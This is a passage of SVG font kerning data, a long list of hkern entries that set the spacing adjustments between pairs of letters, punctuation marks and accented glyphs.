<hkern u1="W" u2="&#x2039;" k="55" />
<hkern u1="W" u2="&#xf0;" k="57" />
<hkern u1="W" u2="&#xef;" k="-98" />
<hkern u1="W" u2="&#xee;" k="-74" />
<hkern u1="W" u2="&#xed;" k="18" />
<hkern u1="W" u2="&#xec;" k="-100" />
<hkern u1="W" u2="&#xdf;" k="25" />
<hkern u1="W" u2="&#xc6;" k="86" />
<hkern u1="W" u2="z" k="41" />
<hkern u1="W" u2="x" k="12" />
<hkern u1="W" u2="u" k="41" />
<hkern u1="W" u2="s" k="88" />
<hkern u1="W" u2="q" k="82" />
<hkern u1="W" u2="o" k="86" />
<hkern u1="W" u2="n" k="47" />
<hkern u1="W" u2="f" k="12" />
<hkern u1="W" u2="d" k="80" />
<hkern u1="W" u2="a" k="70" />
<hkern u1="W" u2="S" k="10" />
<hkern u1="W" u2="O" k="23" />
<hkern u1="W" u2="J" k="27" />
<hkern u1="W" u2="A" k="76" />
<hkern u1="W" u2="&#x40;" k="20" />
<hkern u1="W" u2="&#x3a;" k="37" />
<hkern u1="W" u2="&#x34;" k="25" />
<hkern u1="W" u2="&#x2f;" k="94" />
<hkern u1="W" u2="&#x2e;" k="90" />
<hkern u1="W" u2="&#x2d;" k="37" />
<hkern u1="X" u2="&#x2039;" k="35" />
<hkern u1="X" u2="&#xf0;" k="66" />
<hkern u1="X" u2="&#xef;" k="-49" />
<hkern u1="X" u2="&#xec;" k="-53" />
<hkern u1="X" u2="&#xae;" k="23" />
<hkern u1="X" u2="y" k="53" />
<hkern u1="X" u2="w" k="59" />
<hkern u1="X" u2="v" k="53" />
<hkern u1="X" u2="u" k="49" />
<hkern u1="X" u2="t" k="41" />
<hkern u1="X" u2="q" k="74" />
<hkern u1="X" u2="o" k="74" />
<hkern u1="X" u2="n" k="16" />
<hkern u1="X" u2="f" k="31" />
<hkern u1="X" u2="d" k="74" />
<hkern u1="X" u2="a" k="25" />
<hkern u1="X" u2="S" k="12" />
<hkern u1="X" u2="O" k="59" />
<hkern u1="X" u2="&#x2d;" k="55" />
<hkern u1="Y" u2="&#x2122;" k="-43" />
<hkern u1="Y" u2="&#x203a;" k="51" />
<hkern u1="Y" u2="&#x2039;" k="94" />
<hkern u1="Y" u2="&#xf0;" k="68" />
<hkern u1="Y" u2="&#xef;" k="-129" />
<hkern u1="Y" u2="&#xee;" k="-80" />
<hkern u1="Y" u2="&#xed;" k="25" />
<hkern u1="Y" u2="&#xec;" k="-131" />
<hkern u1="Y" u2="&#xdf;" k="31" />
<hkern u1="Y" u2="&#xc6;" k="109" />
<hkern u1="Y" u2="&#xae;" k="25" />
<hkern u1="Y" u2="z" k="76" />
<hkern u1="Y" u2="y" k="12" />
<hkern u1="Y" u2="x" k="31" />
<hkern u1="Y" u2="w" k="20" />
<hkern u1="Y" u2="v" k="12" />
<hkern u1="Y" u2="u" k="82" />
<hkern u1="Y" u2="t" k="14" />
<hkern u1="Y" u2="s" k="98" />
<hkern u1="Y" u2="q" k="106" />
<hkern u1="Y" u2="o" k="109" />
<hkern u1="Y" u2="n" k="84" />
<hkern u1="Y" u2="f" k="27" />
<hkern u1="Y" u2="d" k="104" />
<hkern u1="Y" u2="a" k="92" />
<hkern u1="Y" u2="]" k="-12" />
<hkern u1="Y" u2="S" k="23" />
<hkern u1="Y" u2="O" k="51" />
<hkern u1="Y" u2="J" k="20" />
<hkern u1="Y" u2="A" k="100" />
<hkern u1="Y" u2="&#x40;" k="49" />
<hkern u1="Y" u2="&#x3a;" k="70" />
<hkern u1="Y" u2="&#x34;" k="57" />
<hkern u1="Y" u2="&#x31;" k="-33" />
<hkern u1="Y" u2="&#x2f;" k="102" />
<hkern u1="Y" u2="&#x2e;" k="111" />
<hkern u1="Y" u2="&#x2d;" k="78" />
<hkern u1="Y" u2="&#x26;" k="31" />
<hkern u1="Z" u2="&#xf0;" k="27" />
<hkern u1="Z" u2="&#xee;" k="-29" />
<hkern u1="Z" u2="y" k="16" />
<hkern u1="Z" u2="w" k="18" />
<hkern u1="Z" u2="v" k="14" />
<hkern u1="Z" u2="u" k="23" />
<hkern u1="Z" u2="t" k="23" />
<hkern u1="Z" u2="q" k="29" />
<hkern u1="Z" u2="o" k="31" />
<hkern u1="Z" u2="n" k="16" />
<hkern u1="Z" u2="f" k="23" />
<hkern u1="Z" u2="d" k="31" />
<hkern u1="Z" u2="a" k="12" />
<hkern u1="Z" u2="O" k="29" />
<hkern u1="Z" u2="&#x2d;" k="25" />
<hkern u1="[" u2="&#xf0;" k="31" />
<hkern u1="[" u2="&#xef;" k="-35" />
<hkern u1="[" u2="&#xee;" k="-35" />
<hkern u1="[" u2="&#xec;" k="-102" />
<hkern u1="[" u2="u" k="33" />
<hkern u1="[" u2="s" k="27" />
<hkern u1="[" u2="q" k="51" />
<hkern u1="[" u2="o" k="51" />
<hkern u1="[" u2="j" k="-193" />
<hkern u1="[" u2="d" k="51" />
<hkern u1="[" u2="a" k="35" />
<hkern u1="[" u2="Y" k="-12" />
<hkern u1="[" u2="S" k="20" />
<hkern u1="[" u2="O" k="43" />
<hkern u1="[" u2="&#x38;" k="20" />
<hkern u1="[" u2="&#x36;" k="33" />
<hkern u1="[" u2="&#x34;" k="49" />
<hkern u1="[" u2="&#x30;" k="33" />
<hkern u1="\" u2="&#x2019;" k="117" />
<hkern u1="\" u2="&#xc6;" k="-49" />
<hkern u1="\" u2="y" k="47" />
<hkern u1="\" u2="w" k="39" />
<hkern u1="\" u2="v" k="47" />
<hkern u1="\" u2="t" k="23" />
<hkern u1="\" u2="Y" k="78" />
<hkern u1="\" u2="W" k="63" />
<hkern u1="\" u2="V" k="80" />
<hkern u1="\" u2="U" k="25" />
<hkern u1="\" u2="T" k="78" />
<hkern u1="\" u2="O" k="23" />
<hkern u1="\" u2="A" k="-27" />
<hkern u1="\" u2="&#x31;" k="39" />
<hkern u1="\" u2="&#x27;" k="100" />
<hkern u1="a" u2="&#x2122;" k="41" />
<hkern u1="a" u2="&#x2019;" k="16" />
<hkern u1="a" u2="&#x2018;" k="16" />
<hkern u1="a" u2="y" k="14" />
<hkern u1="a" u2="w" k="16" />
<hkern u1="a" u2="v" k="14" />
<hkern u1="a" u2="t" k="12" />
<hkern u1="a" u2="f" k="8" />
<hkern u1="a" u2="\" k="68" />
<hkern u1="a" u2="Z" k="23" />
<hkern u1="a" u2="Y" k="84" />
<hkern u1="a" u2="X" k="14" />
<hkern u1="a" u2="W" k="59" />
<hkern u1="a" u2="V" k="76" />
<hkern u1="a" u2="U" k="23" />
<hkern u1="a" u2="T" k="100" />
<hkern u1="a" u2="S" k="12" />
<hkern u1="a" u2="O" k="14" />
<hkern u1="a" u2="J" k="16" />
<hkern u1="a" u2="I" k="10" />
<hkern u1="a" u2="&#x29;" k="31" />
<hkern u1="b" u2="&#x2122;" k="47" />
<hkern u1="b" u2="&#x2019;" k="43" />
<hkern u1="b" u2="&#x2018;" k="43" />
<hkern u1="b" u2="&#xc6;" k="25" />
<hkern u1="b" u2="&#x7d;" k="29" />
<hkern u1="b" u2="z" k="14" />
<hkern u1="b" u2="y" k="23" />
<hkern u1="b" u2="x" k="45" />
<hkern u1="b" u2="w" k="18" />
<hkern u1="b" u2="v" k="23" />
<hkern u1="b" u2="t" k="18" />
<hkern u1="b" u2="s" k="10" />
<hkern u1="b" u2="f" k="16" />
<hkern u1="b" u2="]" k="51" />
<hkern u1="b" u2="\" k="74" />
<hkern u1="b" u2="Z" k="47" />
<hkern u1="b" u2="Y" k="104" />
<hkern u1="b" u2="X" k="72" />
<hkern u1="b" u2="W" k="80" />
<hkern u1="b" u2="V" k="94" />
<hkern u1="b" u2="U" k="20" />
<hkern u1="b" u2="T" k="119" />
<hkern u1="b" u2="S" k="23" />
<hkern u1="b" u2="J" k="35" />
<hkern u1="b" u2="I" k="20" />
<hkern u1="b" u2="A" k="27" />
<hkern u1="b" u2="&#x2f;" k="41" />
<hkern u1="b" u2="&#x2a;" k="23" />
<hkern u1="b" u2="&#x29;" k="53" />
<hkern u1="b" u2="&#x27;" k="23" />
<hkern u1="c" u2="&#x2122;" k="25" />
<hkern u1="c" u2="&#x2039;" k="20" />
<hkern u1="c" u2="&#xf0;" k="23" />
<hkern u1="c" u2="q" k="16" />
<hkern u1="c" u2="o" k="18" />
<hkern u1="c" u2="d" k="16" />
<hkern u1="c" u2="]" k="20" />
<hkern u1="c" u2="\" k="45" />
<hkern u1="c" u2="Y" k="86" />
<hkern u1="c" u2="X" k="10" />
<hkern u1="c" u2="W" k="43" />
<hkern u1="c" u2="V" k="55" />
<hkern u1="c" u2="U" k="16" />
<hkern u1="c" u2="T" k="106" />
<hkern u1="c" u2="S" k="12" />
<hkern u1="c" u2="O" k="20" />
<hkern u1="c" u2="&#x2d;" k="20" />
<hkern u1="c" u2="&#x29;" k="29" />
<hkern u1="d" u2="&#xec;" k="-31" />
<hkern u1="d" u2="Z" k="12" />
<hkern u1="d" u2="U" k="14" />
<hkern u1="d" u2="T" k="10" />
<hkern u1="d" u2="O" k="12" />
<hkern u1="d" u2="J" k="18" />
<hkern u1="d" u2="I" k="10" />
<hkern u1="e" u2="&#x2122;" k="35" />
<hkern u1="e" u2="&#x2019;" k="20" />
<hkern u1="e" u2="&#x2018;" k="20" />
<hkern u1="e" u2="&#xc6;" k="14" />
<hkern u1="e" u2="&#x7d;" k="20" />
<hkern u1="e" u2="z" k="10" />
<hkern u1="e" u2="y" k="16" />
<hkern u1="e" u2="x" k="31" />
<hkern u1="e" u2="w" k="10" />
<hkern u1="e" u2="v" k="16" />
<hkern u1="e" u2="t" k="12" />
<hkern u1="e" u2="f" k="10" />
<hkern u1="e" u2="]" k="43" />
<hkern u1="e" u2="\" k="66" />
<hkern u1="e" u2="Z" k="33" />
<hkern u1="e" u2="Y" k="100" />
<hkern u1="e" u2="X" k="47" />
<hkern u1="e" u2="W" k="78" />
<hkern u1="e" u2="V" k="96" />
<hkern u1="e" u2="U" k="14" />
<hkern u1="e" u2="T" k="141" />
<hkern u1="e" u2="S" k="16" />
<hkern u1="e" u2="J" k="27" />
<hkern u1="e" u2="I" k="14" />
<hkern u1="e" u2="A" k="18" />
<hkern u1="e" u2="&#x2f;" k="35" />
<hkern u1="e" u2="&#x29;" k="47" />
<hkern u1="f" u2="&#x2122;" k="-63" />
<hkern u1="f" u2="&#x2039;" k="43" />
<hkern u1="f" u2="&#xf0;" k="51" />
<hkern u1="f" u2="&#xef;" k="-164" />
<hkern u1="f" u2="&#xee;" k="-106" />
<hkern u1="f" u2="&#xec;" k="-172" />
<hkern u1="f" u2="&#xc6;" k="88" />
<hkern u1="f" u2="&#x7d;" k="-20" />
<hkern u1="f" u2="s" k="12" />
<hkern u1="f" u2="q" k="25" />
<hkern u1="f" u2="o" k="27" />
<hkern u1="f" u2="d" k="23" />
<hkern u1="f" u2="a" k="12" />
<hkern u1="f" u2="]" k="-39" />
<hkern u1="f" u2="\" k="-27" />
<hkern u1="f" u2="Y" k="-135" />
<hkern u1="f" u2="X" k="-61" />
<hkern u1="f" u2="W" k="-104" />
<hkern u1="f" u2="V" k="-123" />
<hkern u1="f" u2="T" k="-59" />
<hkern u1="f" u2="J" k="14" />
<hkern u1="f" u2="A" k="82" />
<hkern u1="f" u2="&#x2f;" k="55" />
<hkern u1="f" u2="&#x2e;" k="57" />
<hkern u1="f" u2="&#x2d;" k="29" />
<hkern u1="f" u2="&#x2a;" k="-12" />
<hkern u1="f" u2="&#x29;" k="-25" />
<hkern u1="g" u2="j" k="-14" />
<hkern u1="i" u2="&#xec;" k="-35" />
<hkern u1="i" u2="Z" k="14" />
<hkern u1="i" u2="U" k="12" />
<hkern u1="i" u2="T" k="10" />
<hkern u1="i" u2="O" k="12" />
<hkern u1="i" u2="J" k="18" />
<hkern u1="i" u2="I" k="10" />
<hkern u1="j" u2="j" k="-61" />
<hkern u1="k" u2="&#x2039;" k="41" />
<hkern u1="k" u2="&#xf0;" k="63" />
<hkern u1="k" u2="s" k="23" />
<hkern u1="k" u2="q" k="55" />
<hkern u1="k" u2="o" k="57" />
<hkern u1="k" u2="d" k="53" />
<hkern u1="k" u2="a" k="29" />
<hkern u1="k" u2="Y" k="23" />
<hkern u1="k" u2="V" k="10" />
<hkern u1="k" u2="T" k="135" />
<hkern u1="k" u2="S" k="12" />
<hkern u1="k" u2="O" k="45" />
<hkern u1="k" u2="&#x2d;" k="51" />
<hkern u1="k" u2="&#x2a;" k="-27" />
<hkern u1="l" u2="&#xec;" k="-31" />
<hkern u1="l" u2="&#xb7;" k="152" />
<hkern u1="l" u2="Z" k="12" />
<hkern u1="l" u2="U" k="14" />
<hkern u1="l" u2="T" k="10" />
<hkern u1="l" u2="O" k="12" />
<hkern u1="l" u2="J" k="18" />
<hkern u1="l" u2="I" k="10" />
<hkern u1="n" u2="&#x2122;" k="43" />
<hkern u1="n" u2="&#x2019;" k="20" />
<hkern u1="n" u2="&#x2018;" k="20" />
<hkern u1="n" u2="y" k="18" />
<hkern u1="n" u2="w" k="18" />
<hkern u1="n" u2="v" k="18" />
<hkern u1="n" u2="t" k="16" />
<hkern u1="n" u2="f" k="10" />
<hkern u1="n" u2="\" k="72" />
<hkern u1="n" u2="Z" k="25" />
<hkern u1="n" u2="Y" k="84" />
<hkern u1="n" u2="X" k="14" />
<hkern u1="n" u2="W" k="59" />
<hkern u1="n" u2="V" k="76" />
<hkern u1="n" u2="U" k="23" />
<hkern u1="n" u2="T" k="102" />
<hkern u1="n" u2="S" k="12" />
<hkern u1="n" u2="O" k="14" />
<hkern u1="n" u2="J" k="16" />
<hkern u1="n" u2="I" k="10" />
<hkern u1="n" u2="&#x29;" k="31" />
<hkern u1="o" u2="&#x2122;" k="43" />
<hkern u1="o" u2="&#x2019;" k="35" />
<hkern u1="o" u2="&#x2018;" k="35" />
<hkern u1="o" u2="&#xc6;" k="25" />
<hkern u1="o" u2="&#x7d;" k="29" />
<hkern u1="o" u2="z" k="14" />
<hkern u1="o" u2="y" k="27" />
<hkern u1="o" u2="x" k="45" />
<hkern u1="o" u2="w" k="20" />
<hkern u1="o" u2="v" k="25" />
<hkern u1="o" u2="t" k="20" />
<hkern u1="o" u2="s" k="10" />
<hkern u1="o" u2="f" k="18" />
<hkern u1="o" u2="]" k="51" />
<hkern u1="o" u2="\" k="74" />
<hkern u1="o" u2="Z" k="47" />
<hkern u1="o" u2="Y" k="109" />
<hkern u1="o" u2="X" k="74" />
<hkern u1="o" u2="W" k="84" />
<hkern u1="o" u2="V" k="94" />
<hkern u1="o" u2="U" k="20" />
<hkern u1="o" u2="T" k="123" />
<hkern u1="o" u2="S" k="25" />
<hkern u1="o" u2="J" k="35" />
<hkern u1="o" u2="I" k="20" />
<hkern u1="o" u2="A" k="27" />
<hkern u1="o" u2="&#x2f;" k="41" />
<hkern u1="o" u2="&#x2a;" k="16" />
<hkern u1="o" u2="&#x29;" k="53" />
<hkern u1="p" u2="&#x2122;" k="43" />
<hkern u1="p" u2="&#x2019;" k="31" />
<hkern u1="p" u2="&#x2018;" k="31" />
<hkern u1="p" u2="&#xc6;" k="23" />
<hkern u1="p" u2="&#x7d;" k="31" />
<hkern u1="p" u2="z" k="14" />
<hkern u1="p" u2="y" k="23" />
<hkern u1="p" u2="x" k="43" />
<hkern u1="p" u2="w" k="18" />
<hkern u1="p" u2="v" k="23" />
<hkern u1="p" u2="t" k="18" />
<hkern u1="p" u2="s" k="10" />
<hkern u1="p" u2="f" k="16" />
<hkern u1="p" u2="]" k="51" />
<hkern u1="p" u2="\" k="74" />
<hkern u1="p" u2="Z" k="47" />
<hkern u1="p" u2="Y" k="104" />
<hkern u1="p" u2="X" k="68" />
<hkern u1="p" u2="W" k="80" />
<hkern u1="p" u2="V" k="94" />
<hkern u1="p" u2="U" k="20" />
<hkern u1="p" u2="T" k="119" />
<hkern u1="p" u2="S" k="23" />
<hkern u1="p" u2="J" k="33" />
<hkern u1="p" u2="I" k="18" />
<hkern u1="p" u2="A" k="25" />
<hkern u1="p" u2="&#x2f;" k="41" />
<hkern u1="p" u2="&#x29;" k="53" />
<hkern u1="q" u2="j" k="-141" />
<hkern u1="r" u2="&#x2039;" k="41" />
<hkern u1="r" u2="&#xf0;" k="39" />
<hkern u1="r" u2="&#xc6;" k="92" />
<hkern u1="r" u2="s" k="8" />
<hkern u1="r" u2="q" k="14" />
<hkern u1="r" u2="o" k="16" />
<hkern u1="r" u2="d" k="14" />
<hkern u1="r" u2="a" k="10" />
<hkern u1="r" u2="]" k="27" />
<hkern u1="r" u2="Z" k="25" />
<hkern u1="r" u2="Y" k="12" />
<hkern u1="r" u2="X" k="63" />
<hkern u1="r" u2="T" k="129" />
<hkern u1="r" u2="J" k="74" />
<hkern u1="r" u2="I" k="10" />
<hkern u1="r" u2="A" k="94" />
<hkern u1="r" u2="&#x2f;" k="80" />
<hkern u1="r" u2="&#x2e;" k="84" />
<hkern u1="r" u2="&#x29;" k="35" />
<hkern u1="r" u2="&#x26;" k="20" />
<hkern u1="s" u2="&#x2122;" k="31" />
<hkern u1="s" u2="y" k="10" />
<hkern u1="s" u2="x" k="14" />
<hkern u1="s" u2="v" k="8" />
<hkern u1="s" u2="t" k="8" />
<hkern u1="s" u2="]" k="35" />
<hkern u1="s" u2="\" k="55" />
<hkern u1="s" u2="Z" k="12" />
<hkern u1="s" u2="Y" k="96" />
<hkern u1="s" u2="X" k="25" />
<hkern u1="s" u2="W" k="55" />
<hkern u1="s" u2="V" k="68" />
<hkern u1="s" u2="U" k="20" />
<hkern u1="s" u2="T" k="111" />
<hkern u1="s" u2="O" k="14" />
<hkern u1="s" u2="J" k="10" />
<hkern u1="s" u2="I" k="14" />
<hkern u1="s" u2="A" k="12" />
<hkern u1="s" u2="&#x2f;" k="23" />
<hkern u1="s" u2="&#x29;" k="41" />
<hkern u1="t" u2="&#x2122;" k="20" />
<hkern u1="t" u2="&#xf0;" k="8" />
<hkern u1="t" u2="q" k="10" />
<hkern u1="t" u2="o" k="12" />
<hkern u1="t" u2="d" k="10" />
<hkern u1="t" u2="\" k="37" />
<hkern u1="t" u2="Y" k="70" />
<hkern u1="t" u2="W" k="37" />
<hkern u1="t" u2="V" k="45" />
<hkern u1="t" u2="U" k="18" />
<hkern u1="t" u2="T" k="47" />
<hkern u1="t" u2="O" k="16" />
<hkern u1="u" u2="&#x2122;" k="16" />
<hkern u1="u" u2="\" k="39" />
<hkern u1="u" u2="Z" k="16" />
<hkern u1="u" u2="Y" k="84" />
<hkern u1="u" u2="X" k="16" />
<hkern u1="u" u2="W" k="47" />
<hkern u1="u" u2="V" k="57" />
<hkern u1="u" u2="U" k="16" />
<hkern u1="u" u2="T" k="43" />
<hkern u1="u" u2="S" k="10" />
<hkern u1="u" u2="O" k="12" />
<hkern u1="u" u2="J" k="18" />
<hkern u1="u" u2="I" k="10" />
<hkern u1="u" u2="&#x29;" k="29" />
<hkern u1="v" u2="&#x2039;" k="35" />
<hkern u1="v" u2="&#xf0;" k="39" />
<hkern u1="v" u2="&#xc6;" k="72" />
<hkern u1="v" u2="s" k="18" />
<hkern u1="v" u2="q" k="23" />
<hkern u1="v" u2="o" k="25" />
<hkern u1="v" u2="d" k="23" />
<hkern u1="v" u2="a" k="14" />
<hkern u1="v" u2="Y" k="12" />
<hkern u1="v" u2="X" k="51" />
<hkern u1="v" u2="T" k="133" />
<hkern u1="v" u2="J" k="43" />
<hkern u1="v" u2="A" k="63" />
<hkern u1="v" u2="&#x2f;" k="78" />
<hkern u1="v" u2="&#x2e;" k="68" />
<hkern u1="v" u2="&#x29;" k="23" />
<hkern u1="w" u2="&#x2039;" k="27" />
<hkern u1="w" u2="&#xf0;" k="35" />
<hkern u1="w" u2="&#xc6;" k="66" />
<hkern u1="w" u2="s" k="16" />
<hkern u1="w" u2="q" k="18" />
<hkern u1="w" u2="o" k="20" />
<hkern u1="w" u2="d" k="18" />
<hkern u1="w" u2="a" k="12" />
<hkern u1="w" u2="Z" k="12" />
<hkern u1="w" u2="Y" k="20" />
<hkern u1="w" u2="X" k="57" />
<hkern u1="w" u2="T" k="125" />
<hkern u1="w" u2="J" k="51" />
<hkern u1="w" u2="A" k="57" />
<hkern u1="w" u2="&#x2f;" k="70" />
<hkern u1="w" u2="&#x2e;" k="53" />
<hkern u1="w" u2="&#x29;" k="29" />
<hkern u1="x" u2="&#x2039;" k="43" />
<hkern u1="x" u2="&#xf0;" k="53" />
<hkern u1="x" u2="s" k="12" />
<hkern u1="x" u2="q" k="49" />
<hkern u1="x" u2="o" k="51" />
<hkern u1="x" u2="d" k="47" />
<hkern u1="x" u2="a" k="20" />
<hkern u1="x" u2="Y" k="29" />
<hkern u1="x" u2="V" k="14" />
<hkern u1="x" u2="U" k="12" />
<hkern u1="x" u2="T" k="131" />
<hkern u1="x" u2="O" k="35" />
<hkern u1="x" u2="&#x2d;" k="45" />
<hkern u1="y" u2="&#x2039;" k="35" />
<hkern u1="y" u2="&#xf0;" k="39" />
<hkern u1="y" u2="&#xc6;" k="72" />
<hkern u1="y" u2="s" k="20" />
<hkern u1="y" u2="q" k="25" />
<hkern u1="y" u2="o" k="27" />
<hkern u1="y" u2="d" k="23" />
<hkern u1="y" u2="a" k="16" />
<hkern u1="y" u2="Y" k="12" />
<hkern u1="y" u2="X" k="51" />
<hkern u1="y" u2="T" k="135" />
<hkern u1="y" u2="J" k="47" />
<hkern u1="y" u2="A" k="63" />
<hkern u1="y" u2="&#x2f;" k="72" />
<hkern u1="y" u2="&#x2e;" k="70" />
<hkern u1="y" u2="&#x2a;" k="-33" />
<hkern u1="y" u2="&#x29;" k="23" />
<hkern u1="z" u2="&#x2122;" k="16" />
<hkern u1="z" u2="&#x2039;" k="23" />
<hkern u1="z" u2="&#xf0;" k="16" />
<hkern u1="z" u2="q" k="14" />
<hkern u1="z" u2="o" k="14" />
<hkern u1="z" u2="d" k="14" />
<hkern u1="z" u2="\" k="37" />
<hkern u1="z" u2="Y" k="72" />
<hkern u1="z" u2="W" k="37" />
<hkern u1="z" u2="V" k="45" />
<hkern u1="z" u2="U" k="20" />
<hkern u1="z" u2="T" k="143" />
<hkern u1="z" u2="O" k="14" />
<hkern u1="z" u2="I" k="12" />
<hkern u1="z" u2="&#x2d;" k="20" />
<hkern u1="&#x7b;" u2="&#xef;" k="-14" />
<hkern u1="&#x7b;" u2="&#xee;" k="-31" />
<hkern u1="&#x7b;" u2="&#xec;" k="-82" />
<hkern u1="&#x7b;" u2="q" k="31" />
<hkern u1="&#x7b;" u2="o" k="29" />
<hkern u1="&#x7b;" u2="j" k="-182" />
<hkern u1="&#x7b;" u2="d" k="29" />
<hkern u1="&#x7b;" u2="O" k="20" />
<hkern u1="&#x7c;" u2="&#xec;" k="-27" />
<hkern u1="&#x7c;" u2="j" k="-133" />
<hkern u1="&#x7d;" u2="&#x29;" k="20" />
<hkern u1="&#xae;" u2="&#xc6;" k="23" />
<hkern u1="&#xae;" u2="Y" k="25" />
<hkern u1="&#xae;" u2="X" k="25" />
<hkern u1="&#xae;" u2="A" k="23" />
<hkern u1="&#xb0;" u2="&#x34;" k="43" />
<hkern u1="&#xb7;" u2="l" k="152" />
<hkern u1="&#xb7;" u2="&#x37;" k="31" />
<hkern u1="&#xb7;" u2="&#x33;" k="45" />
<hkern u1="&#xb7;" u2="&#x32;" k="43" />
<hkern u1="&#xb7;" u2="&#x31;" k="49" />
<hkern u1="&#xbf;" u2="Y" k="35" />
<hkern u1="&#xbf;" u2="W" k="25" />
<hkern u1="&#xbf;" u2="V" k="33" />
<hkern u1="&#xbf;" u2="T" k="39" />
<hkern u1="&#xde;" u2="&#x2122;" k="18" />
<hkern u1="&#xde;" u2="&#xf0;" k="14" />
<hkern u1="&#xde;" u2="&#xc6;" k="51" />
<hkern u1="&#xde;" u2="z" k="16" />
<hkern u1="&#xde;" u2="x" k="25" />
<hkern u1="&#xde;" u2="s" k="14" />
<hkern u1="&#xde;" u2="n" k="12" />
<hkern u1="&#xde;" u2="l" k="12" />
<hkern u1="&#xde;" u2="i" k="12" />
<hkern u1="&#xde;" u2="h" k="12" />
<hkern u1="&#xde;" u2="a" k="14" />
<hkern u1="&#xde;" u2="]" k="47" />
<hkern u1="&#xde;" u2="\" k="39" />
<hkern u1="&#xde;" u2="Z" k="33" />
<hkern u1="&#xde;" u2="Y" k="57" />
<hkern u1="&#xde;" u2="X" k="72" />
<hkern u1="&#xde;" u2="W" k="25" />
<hkern u1="&#xde;" u2="V" k="35" />
<hkern u1="&#xde;" u2="T" k="37" />
<hkern u1="&#xde;" u2="S" k="10" />
<hkern u1="&#xde;" u2="J" k="53" />
<hkern u1="&#xde;" u2="A" k="49" />
<hkern u1="&#xde;" u2="&#x2f;" k="59" />
<hkern u1="&#xde;" u2="&#x2e;" k="53" />
<hkern u1="&#xde;" u2="&#x29;" k="49" />
<hkern u1="&#xdf;" u2="&#xc6;" k="12" />
<hkern u1="&#xdf;" u2="z" k="8" />
<hkern u1="&#xdf;" u2="y" k="18" />
<hkern u1="&#xdf;" u2="x" k="25" />
<hkern u1="&#xdf;" u2="w" k="14" />
<hkern u1="&#xdf;" u2="v" k="16" />
<hkern u1="&#xdf;" u2="t" k="16" />
<hkern u1="&#xdf;" u2="s" k="10" />
<hkern u1="&#xdf;" u2="f" k="16" />
<hkern u1="&#xdf;" u2="\" k="20" />
<hkern u1="&#xdf;" u2="Z" k="18" />
<hkern u1="&#xdf;" u2="Y" k="37" />
<hkern u1="&#xdf;" u2="X" k="37" />
<hkern u1="&#xdf;" u2="W" k="31" />
<hkern u1="&#xdf;" u2="V" k="35" />
<hkern u1="&#xdf;" u2="U" k="20" />
<hkern u1="&#xdf;" u2="T" k="33" />
<hkern u1="&#xdf;" u2="S" k="14" />
<hkern u1="&#xdf;" u2="O" k="12" />
<hkern u1="&#xdf;" u2="J" k="16" />
<hkern u1="&#xdf;" u2="I" k="18" />
<hkern u1="&#xdf;" u2="A" k="16" />
<hkern u1="&#xdf;" u2="&#x2f;" k="29" />
<hkern u1="&#xdf;" u2="&#x29;" k="31" />
<hkern u1="&#xed;" u2="&#x2122;" k="-74" />
<hkern u1="&#xed;" u2="&#x7d;" k="-96" />
<hkern u1="&#xed;" u2="&#x7c;" k="-41" />
<hkern u1="&#xed;" u2="l" k="-45" />
<hkern u1="&#xed;" u2="i" k="-43" />
<hkern u1="&#xed;" u2="h" k="-45" />
<hkern u1="&#xed;" u2="]" k="-117" />
<hkern u1="&#xed;" u2="\" k="-111" />
<hkern u1="&#xed;" u2="&#x2a;" k="-14" />
<hkern u1="&#xed;" u2="&#x29;" k="-106" />
<hkern u1="&#xee;" u2="&#x2122;" k="-88" />
<hkern u1="&#xee;" u2="&#x7d;" k="-29" />
<hkern u1="&#xee;" u2="]" k="-33" />
<hkern u1="&#xee;" u2="&#x2a;" k="-57" />
<hkern u1="&#xef;" u2="&#x2122;" k="-59" />
<hkern u1="&#xef;" u2="&#x7d;" k="-16" />
<hkern u1="&#xef;" u2="]" k="-37" />
<hkern u1="&#xef;" u2="\" k="-16" />
<hkern u1="&#xef;" u2="&#x2a;" k="-23" />
<hkern u1="&#xef;" u2="&#x29;" k="-25" />
<hkern u1="&#xf0;" u2="&#x2122;" k="20" />
<hkern u1="&#xf0;" u2="&#x2019;" k="23" />
<hkern u1="&#xf0;" u2="&#x2018;" k="23" />
<hkern u1="&#xf0;" u2="&#xc6;" k="20" />
<hkern u1="&#xf0;" u2="z" k="10" />
<hkern u1="&#xf0;" u2="y" k="18" />
<hkern u1="&#xf0;" u2="x" k="35" />
<hkern u1="&#xf0;" u2="w" k="14" />
<hkern u1="&#xf0;" u2="v" k="16" />
<hkern u1="&#xf0;" u2="t" k="14" />
<hkern u1="&#xf0;" u2="s" k="8" />
<hkern u1="&#xf0;" u2="f" k="14" />
<hkern u1="&#xf0;" u2="]" k="33" />
<hkern u1="&#xf0;" u2="\" k="29" />
<hkern u1="&#xf0;" u2="Z" k="57" />
<hkern u1="&#xf0;" u2="Y" k="68" />
<hkern u1="&#xf0;" u2="X" k="66" />
<hkern u1="&#xf0;" u2="W" k="53" />
<hkern u1="&#xf0;" u2="V" k="59" />
<hkern u1="&#xf0;" u2="U" k="20" />
<hkern u1="&#xf0;" u2="T" k="90" />
<hkern u1="&#xf0;" u2="S" k="18" />
<hkern u1="&#xf0;" u2="J" k="31" />
<hkern u1="&#xf0;" u2="I" k="16" />
<hkern u1="&#xf0;" u2="A" k="23" />
<hkern u1="&#xf0;" u2="&#x2f;" k="37" />
<hkern u1="&#xf0;" u2="&#x29;" k="37" />
<hkern u1="&#x2018;" u2="&#xf0;" k="27" />
<hkern u1="&#x2018;" u2="&#xef;" k="-27" />
<hkern u1="&#x2018;" u2="&#xec;" k="-29" />
<hkern u1="&#x2018;" u2="&#xc6;" k="125" />
<hkern u1="&#x2018;" u2="s" k="43" />
<hkern u1="&#x2018;" u2="q" k="55" />
<hkern u1="&#x2018;" u2="o" k="59" />
<hkern u1="&#x2018;" u2="d" k="68" />
<hkern u1="&#x2018;" u2="a" k="27" />
<hkern u1="&#x2018;" u2="O" k="18" />
<hkern u1="&#x2018;" u2="J" k="27" />
<hkern u1="&#x2018;" u2="A" k="115" />
<hkern u1="&#x2018;" u2="&#x2e;" k="287" />
<hkern u1="&#x2019;" u2="&#x2039;" k="45" />
<hkern u1="&#x2019;" u2="&#xf0;" k="27" />
<hkern u1="&#x2019;" u2="&#xef;" k="-27" />
<hkern u1="&#x2019;" u2="&#xec;" k="-29" />
<hkern u1="&#x2019;" u2="&#xc6;" k="125" />
<hkern u1="&#x2019;" u2="s" k="43" />
<hkern u1="&#x2019;" u2="q" k="55" />
<hkern u1="&#x2019;" u2="o" k="59" />
<hkern u1="&#x2019;" u2="d" k="68" />
